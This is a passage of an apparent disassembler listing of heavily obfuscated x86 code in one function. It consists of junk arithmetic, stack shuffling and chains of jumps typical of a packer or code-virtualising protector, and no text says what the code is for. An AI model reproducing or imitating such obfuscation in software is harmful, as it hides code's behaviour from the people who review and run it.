[esp-16h+arg_E] push [esp-12h+arg_A] push [esp-0Eh+arg_8+2] pop eax push ebx push esp pop ebx add ebx, 4 push esi jmp loc_597FF7 ; --------------------------------------------------------------------------- loc_5A0E22: ; CODE XREF: sub_580566+12E68j xchg ecx, [esp-2Eh+arg_24+2] pop esp add esp, 4 add esp, 4 push small 335Bh mov word ptr [esp-38h+arg_30], dx push ebx mov bl, 3Eh mov dh, bl pop ebx push edx jmp loc_592BA7 ; --------------------------------------------------------------------------- loc_5A0E43: ; CODE XREF: sub_580566+1FC42j and esi, 4FEF7BC8h and esi, 67636DD2h jmp loc_59F121 ; --------------------------------------------------------------------------- loc_5A0E54: ; CODE XREF: sub_580566+12818j mov [esp-38h+arg_30], edi mov edi, 7DC2265Ah shr edi, 5 sub edi, 0E148ABDBh mov ebp, edi mov edi, [esp-38h+arg_30] jmp loc_594DA8 ; --------------------------------------------------------------------------- loc_5A0E6F: ; CODE XREF: sub_580566+1B77Ej sub eax, 0B5873926h push eax jmp loc_5A3C37 ; --------------------------------------------------------------------------- loc_5A0E7A: ; CODE XREF: sub_580566+14D23j sub ebx, 1 shr ebx, 2 jmp loc_59C78D ; --------------------------------------------------------------------------- loc_5A0E85: ; CODE XREF: sub_580566+20468j sub ebp, edi pop edi add eax, ebp pop ebp add eax, 49C014D5h add eax, ebx sub esp, 4 mov [esp-3Ch+arg_34], edi jmp loc_59EFC3 ; --------------------------------------------------------------------------- loc_5A0E9D: ; CODE XREF: sub_580566+235BAj push edi mov edi, 0DE91D06h jmp loc_5A3BAB ; --------------------------------------------------------------------------- loc_5A0EA8: ; CODE XREF: sub_580566+15369j not byte ptr [esp-3Ah+arg_30+2] jmp loc_597294 ; --------------------------------------------------------------------------- loc_5A0EB0: ; CODE XREF: sub_580566+1E862j xchg ecx, [esp-3Ch+arg_34] jmp loc_5A4AA4 ; --------------------------------------------------------------------------- loc_5A0EB8: ; CODE XREF: sub_580566+17CBFj push 7489h mov [esp-36h+arg_2C+2], esi jmp loc_595EF2 ; --------------------------------------------------------------------------- loc_5A0EC5: ; CODE XREF: sub_580566+1EF74j dec ebx jmp loc_593990 ; --------------------------------------------------------------------------- loc_5A0ECB: ; CODE XREF: sub_580566+1BC02j sub eax, 329E008Bh add eax, ebx add eax, 329E008Bh mov ebx, [esp-24h+arg_1A+2] add esp, 4 push esi push ebx jmp loc_594F7D ; --------------------------------------------------------------------------- loc_5A0EE7: ; CODE XREF: sub_580566+14D3Bj mov ecx, eax mov esi, ecx pop ecx pop eax jmp loc_59CEEC ; --------------------------------------------------------------------------- loc_5A0EF2: ; CODE XREF: sub_580566+136E7j xchg esi, [esp-3Eh+arg_34+2] mov esp, [esp-3Eh+arg_34+2] mov [esp-3Eh+arg_34+2], edx push eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A0F02: ; CODE XREF: sub_580566+112C0j sub ecx, 1C28162Fh add ecx, 296B730Bh mov edi, [esp-38h+arg_30] add esp, 4 add ecx, edi add ecx, 1A687C32h push edx push ebx mov ebx, 32B14215h or ebx, 36B125DAh and ebx, 2A863E29h or ebx, 12D81386h sub ebx, 0FFFFFFFFh shr ebx, 1 add ebx, 0E693E438h mov edx, ebx pop ebx jmp loc_59B379 ; --------------------------------------------------------------------------- loc_5A0F4B: ; CODE XREF: sub_580566+1EE0Aj push 6B65h jmp loc_5A13B9 ; --------------------------------------------------------------------------- loc_5A0F55: ; CODE XREF: sub_580566+1B9CEj push eax mov eax, 4 sub [esp-20h+arg_1A+2], 5F264CBCh add [esp-20h+arg_1A+2], eax push edi mov edi, 5F264CBCh jmp loc_59F628 ; --------------------------------------------------------------------------- loc_5A0F72: ; CODE XREF: sub_580566+1A93Ej sub edi, 4 xor edi, [esp-4Ah+arg_40+2] xor [esp-4Ah+arg_40+2], edi jmp loc_5A529C ; --------------------------------------------------------------------------- loc_5A0F83: ; CODE XREF: sub_580566+130FEj push 1993h mov [esp-24h+arg_1A+2], esi mov esi, 3AFA0A40h add edi, esi pop esi shl edi, 8 neg edi jmp loc_59DA5E ; --------------------------------------------------------------------------- loc_5A0F9D: ; CODE XREF: sub_580566+15B52j add esi, 161B44AFh jmp loc_591BE5 ; --------------------------------------------------------------------------- loc_5A0FA8: ; CODE XREF: sub_580566+15BACj mov eax, 19E69D2h jmp loc_59D274 ; --------------------------------------------------------------------------- loc_5A0FB2: ; CODE XREF: sub_580566+12D67j pop [esp-4Ah+arg_40+2] jmp loc_59ABBE ; --------------------------------------------------------------------------- loc_5A0FBA: ; CODE XREF: sub_580566+12E50j pop ebx add edx, 244363B3h add edx, 562C1AF7h add edx, ebp sub edx, 562C1AF7h jmp loc_595F3E ; --------------------------------------------------------------------------- loc_5A0FD4: ; CODE XREF: sub_580566+1CFD8j shr dl, 3 push ecx mov ch, 7Ah shl ch, 3 and ch, 1 and ch, 0E3h push bx mov bl, 0F7h xor ch, bl jmp loc_5A1439 ; --------------------------------------------------------------------------- loc_5A0FEE: ; CODE XREF: sub_580566+16BC3j push ebp mov ebp, 5BAB19E5h add ebp, 0A80BF0B2h jmp loc_595ECC ; --------------------------------------------------------------------------- loc_5A0FFF: ; CODE XREF: sub_580566+22D1Bj add esp, 4 sub eax, ebp push ebp mov ebp, 13FF74C4h add eax, 5EDA65DFh add eax, ebp sub eax, 5EDA65DFh pop ebp push [esp-2Eh+arg_24+2] pop ebp add esp, 4 push esi push 5D905EA7h pop esi xchg ecx, esi not ecx xchg ecx, esi push 587Ch mov [esp-2Ah+arg_20+2], edi sub esp, 4 mov [esp+0], ebp mov ebp, 4CE32B8Ch mov edi, ebp pop ebp sub esi, edi mov edi, [esp-2Ah+arg_20+2] add esp, 4 and esi, 4553569Fh push esi jmp loc_59BB55 ; --------------------------------------------------------------------------- loc_5A1055: ; CODE XREF: sub_580566+128D6j pop ebx push ebp jmp loc_59D4B6 ; --------------------------------------------------------------------------- loc_5A105C: ; CODE XREF: sub_580566+147BBj pop eax push ebx mov bh, 84h push edx push ebx mov bl, 0EFh jmp loc_59E5CA ; --------------------------------------------------------------------------- loc_5A1069: ; CODE XREF: sub_580566+219C0j add esp, 4 push [esp-30h+arg_28] pop edx add esp, 4 jmp loc_59C979 ; --------------------------------------------------------------------------- loc_5A107B: ; CODE XREF: sub_580566+12491j pop edx add esp, 4 xor ah, 0F7h add ah, 3Dh push edx jmp loc_5A3183 ; --------------------------------------------------------------------------- loc_5A108B: ; CODE XREF: sub_580566+20513j or edi, 736F3DBDh shr edi, 3 add edi, 68BA2EE5h xor ecx, edi pop edi shr ecx, 8 jmp loc_592740 ; --------------------------------------------------------------------------- loc_5A10A5: ; CODE XREF: sub_580566+1AE25j push ecx mov ecx, 9CC3F13h jmp loc_59CDCA ; --------------------------------------------------------------------------- loc_5A10B0: ; CODE XREF: sub_580566+16510j pop edi push ebp jmp loc_59F64F ; --------------------------------------------------------------------------- loc_5A10B7: ; CODE XREF: sub_580566+19A1Fj mov esi, [esp-3Eh+arg_34+2] push ebx mov ebx, esp jmp loc_5A29A2 ; --------------------------------------------------------------------------- loc_5A10C2: ; CODE XREF: sub_580566+13515j neg edi jmp loc_590DF4 ; --------------------------------------------------------------------------- loc_5A10C9: ; CODE XREF: sub_580566+24723j sub al, 12h jmp loc_5A4E6E ; --------------------------------------------------------------------------- loc_5A10D0: ; CODE XREF: sub_580566+1BC40j push eax mov ah, 0DAh xor ah, 84h jmp loc_59BC18 ; --------------------------------------------------------------------------- loc_5A10DB: ; CODE XREF: sub_580566+168F9j mov edx, 46F7741h sub ecx, edx pop edx jmp loc_5A55DF ; --------------------------------------------------------------------------- loc_5A10E8: ; CODE XREF: sub_580566+17B5Cj pop ax xor al, dh mov edx, [esp-38h+arg_30] add esp, 4 jmp loc_59D2AA ; --------------------------------------------------------------------------- loc_5A10F7: ; CODE XREF: sub_580566+1C94Dj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-42h+arg_38+2] pop esp push [esp-46h+arg_3C+2] pop ecx add esp, 4 add ecx, 5FF478BFh push 137Bh mov [esp-46h+arg_3C+2], esi push 5DDFh mov [esp-42h+arg_38+2], edi push ebp mov ebp, 7F690717h push 691Eh jmp loc_590E81 ; --------------------------------------------------------------------------- loc_5A1132: ; CODE XREF: sub_580566+21EF0j mov ebp, [esp-3Ah+arg_30+2] jmp loc_5A5B04 ; --------------------------------------------------------------------------- loc_5A113A: ; DATA XREF: sub_580566+104E6o mov cx, word ptr [esp-3Ah+arg_30+2] push 4757h mov [esp-36h+arg_2C+2], ebx push esp mov ebx, [esp-32h+arg_28+2] jmp loc_593429 ; --------------------------------------------------------------------------- loc_5A114F: ; CODE XREF: sub_580566+2171Ej mov esp, [esp-32h+arg_28+2] sub ebx, 61B8570Dh add ebx, ecx push edx mov edx, 7FA0228Fh jmp loc_59112D ; --------------------------------------------------------------------------- loc_5A1165: ; CODE XREF: sub_580566+16FD7j add esp, 4 pop ebx add ebx, 4 push edi mov edi, 4 add ebx, edi mov edi, [esp-46h+arg_3C+2] add esp, 4 xor ebx, [esp-4Ah+arg_40+2] xor [esp-4Ah+arg_40+2], ebx xor ebx, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] push eax push 4F43h jmp loc_5A046E ; --------------------------------------------------------------------------- loc_5A1194: ; CODE XREF: sub_580566+18740j pop eax push ebx mov bh, 30h jmp loc_597BB9 ; --------------------------------------------------------------------------- loc_5A119D: ; CODE XREF: sub_580566+1D594j mov ecx, 258508EAh add ecx, 1 neg ecx or ecx, 20184E38h xor ecx, 0FA7AFF39h mov edi, ecx pop ecx jmp loc_59ED29 ; --------------------------------------------------------------------------- loc_5A11BB: ; CODE XREF: sub_580566+1B82Bj push eax mov eax, 1FAB08B4h add ebp, eax pop eax jmp loc_5A4BFC ; --------------------------------------------------------------------------- loc_5A11C9: ; CODE XREF: sub_580566+1F3F0j mov [esp-4Ah+arg_40+2], esp jmp loc_59DCBA ; --------------------------------------------------------------------------- loc_5A11D1: ; CODE XREF: sub_580566+1DAFBj add edx, 30563FA0h pop esi sub esp, 4 mov [esp-1Ch+arg_12+2], edx push [esp-1Ch+arg_16+2] pop edx jmp loc_5A243B ; --------------------------------------------------------------------------- loc_5A11EB: ; CODE XREF: sub_580566+13292j pop cx jmp loc_594333 ; --------------------------------------------------------------------------- loc_5A11F2: ; CODE XREF: sub_580566+1F63Dj mov edx, [esp-3Eh+arg_34+2] push esi mov esi, esp jmp loc_59AB91 ; --------------------------------------------------------------------------- loc_5A11FD: ; CODE XREF: sub_580566+24D6Cj mov edx, ecx pop ecx jmp loc_59C5C4 ; --------------------------------------------------------------------------- loc_5A1205: ; CODE XREF: sub_580566+1E508j add ebp, 5C424CFEh sub eax, ebp pop ebp sub ebx, eax jmp loc_598B2A ; --------------------------------------------------------------------------- loc_5A1215: ; CODE XREF: sub_580566+22BDFj pop esp shl ebx, 4 jmp loc_5A1918 ; --------------------------------------------------------------------------- loc_5A121E: ; CODE XREF: sub_580566+1D032j push [esp-46h+arg_40+2] pop ebp pop [esp-46h+arg_3C+2] mov esp, [esp-4Ah+arg_40+2] jmp loc_595949 ; --------------------------------------------------------------------------- loc_5A122E: ; CODE XREF: sub_580566+130C5j mov [esp-5Ch+arg_52+2], ebx push edx jmp loc_599464 ; --------------------------------------------------------------------------- loc_5A1237: ; CODE XREF: sub_580566+1EE62j xor ecx, [esp-3Ah+arg_30+2] pop esp add ax, di mov di, word ptr [esp-3Eh+arg_34+2] push 2EB6h mov [esp-3Ah+arg_30+2], edx push esp pop edx push 4920h mov [esp-36h+arg_2C+2], eax mov eax, 0F1217DEh xor eax, 27F8510Fh or eax, 11D746F6h jmp loc_598627 ; --------------------------------------------------------------------------- loc_5A1268: ; CODE XREF: sub_580566+21C73j mov eax, [esp-36h+arg_2C+2] push ecx push 4B92h mov [esp-2Eh+arg_24+2], esp add [esp-2Eh+arg_24+2], 4 pop ecx add ecx, 4 push 3828h mov [esp-2Eh+arg_24+2], edx mov edx, 5CF617E2h shr edx, 4 shr edx, 2 xor edx, 5FC56D4Bh neg edx jmp loc_598C7E ; --------------------------------------------------------------------------- loc_5A129F: ; CODE XREF: sub_580566+1F7C2j add edx, edi pop edi jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A12A7: ; CODE XREF: sub_580566+10EFAj and eax, 3F14C7h jmp loc_5A0568 ; --------------------------------------------------------------------------- loc_5A12B1: ; CODE XREF: sub_580566+1827Bj sub esp, 4 mov [esp-2Ch+arg_24], esi pop ebp push [esp-30h+arg_28] jmp loc_5A0883 ; --------------------------------------------------------------------------- loc_5A12C3: ; CODE XREF: sub_580566+22497j add ebx, 0FE1CD1h add ebx, ebp jmp loc_594118 ; --------------------------------------------------------------------------- loc_5A12D0: ; CODE XREF: sub_580566+23515j push eax mov eax, 0FFFFFFFFh sub ebp, eax pop eax push edi mov edi, 2C0C289Dh inc edi add edi, 50A21819h neg edi jmp loc_5A5613 ; --------------------------------------------------------------------------- loc_5A12ED: ; CODE XREF: sub_580566+12999j add eax, ebp sub eax, 7A474299h mov ebp, [esp-4Eh+arg_44+2] add esp, 4 push edx mov edx, 4 add eax, edx pop edx xor eax, [esp-52h+arg_48+2] jmp loc_5991E8 ; --------------------------------------------------------------------------- loc_5A130B: ; CODE XREF: sub_580566+1DBCAj add edx, ecx push edi push ebx jmp loc_598DF7 ; --------------------------------------------------------------------------- loc_5A1314: ; CODE XREF: sub_580566+1A6C4j pop edi add edi, 4 jmp loc_5A38DC ; --------------------------------------------------------------------------- loc_5A1320: ; CODE XREF: sub_580566+254DDj add eax, esi pop esi mov esi, [esp-2Ch+arg_24] add esp, 4 mov ecx, [esp-30h+arg_28] push edi mov edi, esp jmp loc_59AB53 ; --------------------------------------------------------------------------- loc_5A1334: ; CODE XREF: sub_580566+141A9j xor ah, dl pop edx neg ah not ah sub ah, 4Ah xor dl, ah pop eax mov bl, dl jmp loc_59C0D9 ; --------------------------------------------------------------------------- loc_5A1348: ; CODE XREF: sub_580566+19297j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp-3Eh+arg_34+2] pop esp mov [esp-42h+arg_38+2], ecx mov ecx, 11974E10h sub esi, ecx mov ecx, [esp-42h+arg_38+2] add esp, 4 add esi, 75F86E86h sub esi, 620105EAh jmp loc_597557 ; --------------------------------------------------------------------------- loc_5A137C: ; CODE XREF: sub_580566+21475j sub ecx, edx pop edx xor ecx, [esp-4Ah+arg_40+2] jmp loc_592D66 ; --------------------------------------------------------------------------- loc_5A1387: ; CODE XREF: sub_580566+1194Dj mov ecx, 70C869FCh push edi mov edi, 722150E1h add ecx, edi mov edi, [esp-4Ah+arg_40+2] add esp, 4 add ecx, 72FF6D21h neg ecx sub ecx, 0A503A282h sub edx, ecx pop ecx sub esi, 56EF6FF8h jmp loc_59ABB7 ; --------------------------------------------------------------------------- loc_5A13B9: ; CODE XREF: sub_580566+209EAj mov [esp-0Ah+arg_4+2], ecx jmp loc_596A10 ; --------------------------------------------------------------------------- loc_5A13C1: ; CODE XREF: sub_580566+10F6Bj add edx, 4 add edx, 4 xchg edx, [esp-1Eh+arg_16] pop esp neg ecx push ebx push edx mov edx, 2FA77F57h jmp loc_596100 ; --------------------------------------------------------------------------- loc_5A13DF: ; CODE XREF: sub_580566+11451j neg ebx jmp loc_5944B1 ; --------------------------------------------------------------------------- loc_5A13E6: ; CODE XREF: sub_580566+24276j xchg ecx, [esp-4Ah+arg_40+2] pop esp sub [esp-4Eh+arg_44+2], eax push ebp mov ebp, 4C430CB9h add [esp-4Ah+arg_44+2], ebp pop ebp jmp loc_5923C9 ; --------------------------------------------------------------------------- loc_5A13FD: ; CODE XREF: sub_580566+1DAC1j add esp, 4 sub eax, ebx sub eax, 7C354E32h push ecx mov ecx, esp push eax jmp loc_5926F0 ; --------------------------------------------------------------------------- loc_5A1413: ; CODE XREF: sub_580566+1E595j xor cl, ah jmp loc_595603 ; --------------------------------------------------------------------------- loc_5A141A: ; CODE XREF: sub_580566+212BCj mov edx, 75DF6376h sub edx, 75DF6372h jmp loc_5A0C6F ; --------------------------------------------------------------------------- loc_5A142A: ; CODE XREF: sub_580566+1C273j mov [esp-16h+arg_E], esp add [esp-16h+arg_E], 4 mov esi, [esp-16h+arg_E] jmp loc_5A3B9D ; --------------------------------------------------------------------------- loc_5A1439: ; CODE XREF: sub_580566+20A83j pop bx xor ch, 98h sub dl, ch pop ecx dec dl jmp loc_5A39E6 ; --------------------------------------------------------------------------- loc_5A1448: ; CODE XREF: sub_580566+1EC60j dec edx neg edx not edx jmp loc_5A248A ; --------------------------------------------------------------------------- loc_5A1452: ; CODE XREF: sub_580566+11FCCj add edx, eax pop eax jmp loc_597932 ; --------------------------------------------------------------------------- loc_5A145A: ; CODE XREF: sub_580566+14A12j xchg ecx, [esp-52h+arg_48+2] mov esp, [esp-52h+arg_48+2] pop [esp-52h+arg_48+2] push [esp-56h+arg_4E] pop eax add esp, 4 push 224Ah mov [esp-56h+arg_4E], edi mov edi, 1 and eax, edi jmp loc_5A41D7 ; --------------------------------------------------------------------------- loc_5A147E: ; CODE XREF: sub_580566+1220Aj mov eax, 42CC4F4Dh xor eax, 106B6D9Ch jmp loc_595A0A ; --------------------------------------------------------------------------- loc_5A148D: ; CODE XREF: sub_580566+23D22j pop edi add edi, 4 jmp loc_59C144 ; --------------------------------------------------------------------------- loc_5A1499: ; CODE XREF: sub_580566+1936Dj mov [esp-3Ch+arg_34], edi jmp loc_591C44 ; --------------------------------------------------------------------------- loc_5A14A1: ; CODE XREF: sub_580566+21772j add eax, 4 push 4C34h mov [esp-38h+arg_30], esi mov esi, 4 sub eax, esi pop esi xchg eax, [esp-3Ch+arg_34] pop esp mov [esp-40h+arg_38], ebx push esp mov ebx, [esp-3Ch+arg_34] add esp, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-3Ch+arg_34] pop esp jmp loc_5A1FEE ; --------------------------------------------------------------------------- loc_5A14E5: ; CODE XREF: sub_580566+1B31Dj push [esp-44h+arg_40] pop edx jmp loc_5A4C10 ; --------------------------------------------------------------------------- loc_5A14EF: ; CODE XREF: sub_580566+21F91j push edi pop ebx pop edi add ecx, 4CF7D1Dh sub ecx, ebx sub ecx, 4CF7D1Dh jmp loc_591FAA ; --------------------------------------------------------------------------- loc_5A1505: ; CODE XREF: sub_580566+1C815j add [esp-24h+arg_20], ebp pop ebp pop [esp-28h+arg_20] push 4C12h mov [esp-28h+arg_20], edi mov edi, 687D2B60h jmp loc_5A04D8 ; --------------------------------------------------------------------------- loc_5A151F: ; CODE XREF: sub_580566+10628j mov ebx, 36127B59h mov edx, ebx push [esp-5Ah+arg_52] pop ebx add esp, 4 add eax, 12175C5Ah push ecx jmp loc_597435 ; --------------------------------------------------------------------------- loc_5A153B: ; CODE XREF: sub_580566+11CFBj mov [esp-40h+arg_38], esp add [esp-40h+arg_38], 4 jmp loc_599931 ; --------------------------------------------------------------------------- loc_5A154A: ; CODE XREF: sub_580566+1879Ej mov [esp-38h+arg_30], edi push 66F3h mov [esp-34h+arg_2C], eax mov eax, 75EF490Ah push 3922h mov [esp-30h+arg_28], ecx mov ecx, 59C91BC1h xor ecx, 7FD237A0h neg ecx xor ecx, 32C03EB6h add ecx, 5FEA7CACh jmp loc_5919A9 ; --------------------------------------------------------------------------- loc_5A1580: ; CODE XREF: sub_580566+22C36j pop ax or dh, bh pop ebx jmp loc_59A0BD ; --------------------------------------------------------------------------- loc_5A158A: ; CODE XREF: sub_580566+175E1j xor al, bl push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5A1A04 ; --------------------------------------------------------------------------- loc_5A159D: ; CODE XREF: sub_580566+1088Fj neg [esp-4Ch+arg_44] mov edi, [esp-4Ch+arg_44] add esp, 4 dec edi sub edi, 0ED4365A1h jmp loc_5A4AE4 ; --------------------------------------------------------------------------- loc_5A15B2: ; CODE XREF: sub_580566+14B5Dj push 6A60h jmp loc_5A0A97 ; --------------------------------------------------------------------------- loc_5A15BC: ; CODE XREF: sub_580566+17215j or ecx, ebx pop ebx add ecx, 0DCC9A0F1h jmp loc_59F581 ; --------------------------------------------------------------------------- loc_5A15CA: ; CODE XREF: sub_580566+16D30j shl dl, 1 sub esp, 4 jmp loc_5A3D02 ; --------------------------------------------------------------------------- loc_5A15D4: ; CODE XREF: sub_580566+22A74j mov ebp, [esp-4Ch+arg_44] push ebp push esp pop ebp add ebp, 4 push edx jmp loc_5915CA ; --------------------------------------------------------------------------- loc_5A15E6: ; CODE XREF: sub_580566+143D7j ; sub_580566+1789Fj ... push dword ptr [edi+24h] push [esp-44h+arg_3C] jmp loc_5A2748 ; --------------------------------------------------------------------------- loc_5A15F1: ; CODE XREF: sub_580566+19644j mov ecx, 29AD5A9Ch add [esp-44h+arg_40], ecx pop ecx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A1600: ; CODE XREF: sub_580566+1BEAEj sub esp, 4 mov [esp-48h+arg_40], edx push ecx jmp loc_5965A5 ; --------------------------------------------------------------------------- loc_5A160F: ; CODE XREF: sub_580566+1F182j pop eax jmp loc_5945A2 ; --------------------------------------------------------------------------- loc_5A1615: ; CODE XREF: sub_580566+10FEBj mov eax, [esp-2Ah+arg_20+2] push 2163h mov [esp+0], edi mov edi, esp add edi, 4 push eax jmp loc_59B80B ; --------------------------------------------------------------------------- loc_5A162E: ; CODE XREF: sub_580566+1B263j mov [esp-34h+arg_2C], ebp mov ebp, esp jmp loc_595A1F ; --------------------------------------------------------------------------- loc_5A1638: ; CODE XREF: sub_580566+12D61j push 7A44h jmp loc_59319F ; --------------------------------------------------------------------------- loc_5A1642: ; CODE XREF: sub_580566+1AA3Ej push 48ECh mov [esp-1Ch+arg_12+2], ecx jmp loc_59FC17 ; --------------------------------------------------------------------------- loc_5A164F: ; CODE XREF: sub_580566+186BDj add ecx, 31F471D4h add ecx, edi jmp loc_591D18 ; --------------------------------------------------------------------------- loc_5A165C: ; CODE XREF: sub_580566+154D9j push [esp-40h+arg_3C] mov esi, [esp-3Ch+arg_34] push edx mov edx, esp push ebx mov ebx, 569221CAh jmp loc_591E10 ; --------------------------------------------------------------------------- loc_5A1671: ; CODE XREF: sub_580566+1E39Bj shl edx, 1 sub esp, 4 mov [esp-40h+arg_38], edi mov edi, 0C2C30D4h and edx, edi pop edi push ebx mov ebx, 1B8774EDh jmp loc_5931C6 ; --------------------------------------------------------------------------- loc_5A168C: ; CODE XREF: sub_580566+16494j pop esp push edx jmp loc_5A2CB3 ; --------------------------------------------------------------------------- loc_5A1693: ; CODE XREF: sub_580566+1E88Aj pop eax add esp, 4 add edx, eax push eax mov eax, 4B634D2Dh not eax jmp loc_5A3A11 ; --------------------------------------------------------------------------- loc_5A16A9: ; CODE XREF: sub_580566+1CAD2j mov [esp-28h+arg_20], eax jmp loc_598E14 ; --------------------------------------------------------------------------- loc_5A16B1: ; CODE XREF: sub_580566+12D4Fj inc esi jmp loc_59B6C7 ; --------------------------------------------------------------------------- loc_5A16B7: ; CODE XREF: sub_580566+16302j push ebp mov ebp, 2F9014E8h sub ebp, 47C03A7Ch jmp loc_5A201A ; --------------------------------------------------------------------------- loc_5A16C8: ; CODE XREF: sub_580566+179E2j mov [esp-2Eh+arg_24+2], edx mov edx, 4 jmp loc_59AEE4 ; --------------------------------------------------------------------------- loc_5A16D5: ; CODE XREF: sub_580566+1ABE9j push 6D940E15h pop esi shl esi, 5 add esi, 0C2EB9F22h mov edx, esi pop esi push eax mov eax, 7FB87B30h not eax and eax, 6255483Eh xor eax, 12449A59h add edx, 0D8331D0h add edx, 689475Ch sub edx, 29D02B23h push eax mov eax, 54534D8Bh push edx mov edx, 5E0348ACh xor eax, edx pop edx neg eax xor eax, 24212139h push edi mov edi, 148307D5h sub edi, 2E830098h shl edi, 2 jmp loc_5998A1 ; --------------------------------------------------------------------------- loc_5A1735: ; CODE XREF: sub_580566+19BC4j xor ecx, 49F921E8h sub ecx, 9F4E2BEDh add esi, 5AA85319h jmp loc_590EC2 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc byte ptr [esp-30h+arg_28], al pushf jmp loc_59EADA ; --------------------------------------------------------------------------- loc_5A175B: ; CODE XREF: sub_580566+152BDj mov esi, 7F551ACh jmp loc_594C0A ; --------------------------------------------------------------------------- loc_5A1765: ; CODE XREF: sub_580566+12B66j pop edx jmp loc_59E9BC ; --------------------------------------------------------------------------- loc_5A176B: ; CODE XREF: sub_580566+1141Dj mov edx, ebx pop ebx push 6443h mov [esp-50h+arg_48], ecx mov ecx, 4D72557h sub edi, ecx mov ecx, [esp-50h+arg_48] jmp loc_594D13 ; --------------------------------------------------------------------------- loc_5A1785: ; CODE XREF: sub_580566+1EE89j and cl, 7Bh and cl, 12h add cl, 80h jmp loc_59A03F ; --------------------------------------------------------------------------- loc_5A1793: ; CODE XREF: sub_580566+1595Aj add ebp, edi mov edi, [esp-42h+arg_38+2] add esp, 4 jmp loc_591183 ; --------------------------------------------------------------------------- loc_5A17A3: ; CODE XREF: sub_580566+13361j and eax, edi push [esp-2Ch+arg_24] jmp loc_598283 ; --------------------------------------------------------------------------- loc_5A17AD: ; CODE XREF: sub_580566+241FDj sub ebp, 4F1812ABh jmp loc_594293 ; --------------------------------------------------------------------------- loc_5A17B8: ; CODE XREF: sub_580566+23CB1j pop eax pop edx jmp loc_594ABD ; --------------------------------------------------------------------------- loc_5A17BF: ; DATA XREF: sub_580566+1044Eo lodsd jmp loc_59A846 ; --------------------------------------------------------------------------- loc_5A17C5: ; CODE XREF: sub_580566+1886Ej mov ebp, [esp-36h+arg_2C+2] add esp, 4 add ebp, 4 push ebx mov ebx, 4 jmp loc_5A5866 ; --------------------------------------------------------------------------- loc_5A17DC: ; CODE XREF: sub_580566+14DD8j pop ebp push edi jmp loc_5A5995 ; --------------------------------------------------------------------------- loc_5A17E3: ; CODE XREF: sub_580566+20859j add ecx, eax pop eax add esi, 5C1B2098h jmp loc_598ECE ; --------------------------------------------------------------------------- loc_5A17F1: ; CODE XREF: sub_580566+19D97j mov eax, 0EF4DA2D1h xor ebx, eax pop eax sub ebp, 74791122h add ebp, ebx add ebp, 74791122h pop ebx push 279Eh jmp loc_5A1896 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-46h+arg_3C+2] push edx mov edx, esp push ecx push 3743h mov [esp-3Ah+arg_30+2], edx jmp loc_5A141A ; --------------------------------------------------------------------------- loc_5A1827: ; CODE XREF: sub_580566+13E4Fj pop edx push ebp push esp jmp loc_5944C4 ; --------------------------------------------------------------------------- loc_5A182F: ; CODE XREF: sub_580566+1DA95j inc eax jmp loc_59EEB0 ; --------------------------------------------------------------------------- loc_5A1835: ; CODE XREF: sub_580566+2047Bj push eax mov eax, 173532ACh add ebx, eax mov eax, [esp-34h+arg_2C] add esp, 4 push ebp mov ebp, 4F96261Bh add ebx, ebp pop ebp add ebx, ecx sub ebx, 4F96261Bh sub ebx, 173532ACh push [esp-38h+arg_30] mov ecx, [esp-34h+arg_2C] push ebp jmp loc_593A3A ; --------------------------------------------------------------------------- loc_5A1869: ; DATA XREF: sub_580566+10476o mov ax, word ptr [esp-30h+arg_28] push 61CAh mov [esp-2Ch+arg_24], edx push esp push [esp-28h+arg_20] jmp loc_5A523F ; --------------------------------------------------------------------------- loc_5A187E: ; CODE XREF: sub_580566+18E1Ej pop esi jmp loc_594FCF ; --------------------------------------------------------------------------- loc_5A1884: ; CODE XREF: sub_580566+23323j mov edx, 0A3E1584h jmp loc_5A012E ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A1896: ; CODE XREF: sub_580566+212A7j mov [esp-46h+arg_3C+2], ebp push [esp-46h+arg_40+2] mov ebp, [esp-42h+arg_38+2] push 3345h mov [esp-3Eh+arg_34+2], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5A2B18 ; --------------------------------------------------------------------------- loc_5A18B8: ; CODE XREF: sub_580566+18294j push edi mov edi, 36543737h neg edi jmp loc_59EECD ; --------------------------------------------------------------------------- loc_5A18C5: ; CODE XREF: sub_580566+145E7j add esp, 4 push eax jmp loc_5A2172 ; --------------------------------------------------------------------------- loc_5A18CE: ; CODE XREF: sub_580566+23AC2j push 1DD5EA4h jmp loc_59BFBD ; --------------------------------------------------------------------------- loc_5A18D8: ; CODE XREF: sub_580566+1F51Aj add esp, 4 add ecx, edi jmp loc_593BC7 ; --------------------------------------------------------------------------- loc_5A18E5: ; CODE XREF: sub_580566+186EBj shl eax, 8 sub eax, 13767A7Ah jmp loc_59EDEB ; --------------------------------------------------------------------------- loc_5A18F2: ; CODE XREF: sub_580566+1D607j pop ecx add edx, ebp pop ebp add edx, 4 jmp loc_591681 ; --------------------------------------------------------------------------- loc_5A18FE: ; CODE XREF: sub_580566+13786j pop ecx push [esp-3Ah+arg_30+2] jmp loc_599F5C ; --------------------------------------------------------------------------- loc_5A1907: ; CODE XREF: sub_580566+14FB4j mov [esp-36h+arg_2C+2], edx mov edx, 6A7F2083h sub [esp-36h+arg_34+2], edx jmp loc_59396A ; --------------------------------------------------------------------------- loc_5A1918: ; CODE XREF: sub_580566+20CB3j push esi mov esi, 0C6E2C66h jmp loc_595841 ; --------------------------------------------------------------------------- loc_5A1923: ; CODE XREF: sub_580566+1692Dj mov [esp-32h+arg_28+2], ebx sub esp, 4 jmp loc_5A29D5 ; --------------------------------------------------------------------------- loc_5A192E: ; CODE XREF: sub_580566+124CDj xchg ebp, [esp-30h+arg_28] pop esp pop eax rep movsd add esp, [edx+38h] push 3FEBh jmp loc_59BD12 ; --------------------------------------------------------------------------- loc_5A1942: ; CODE XREF: 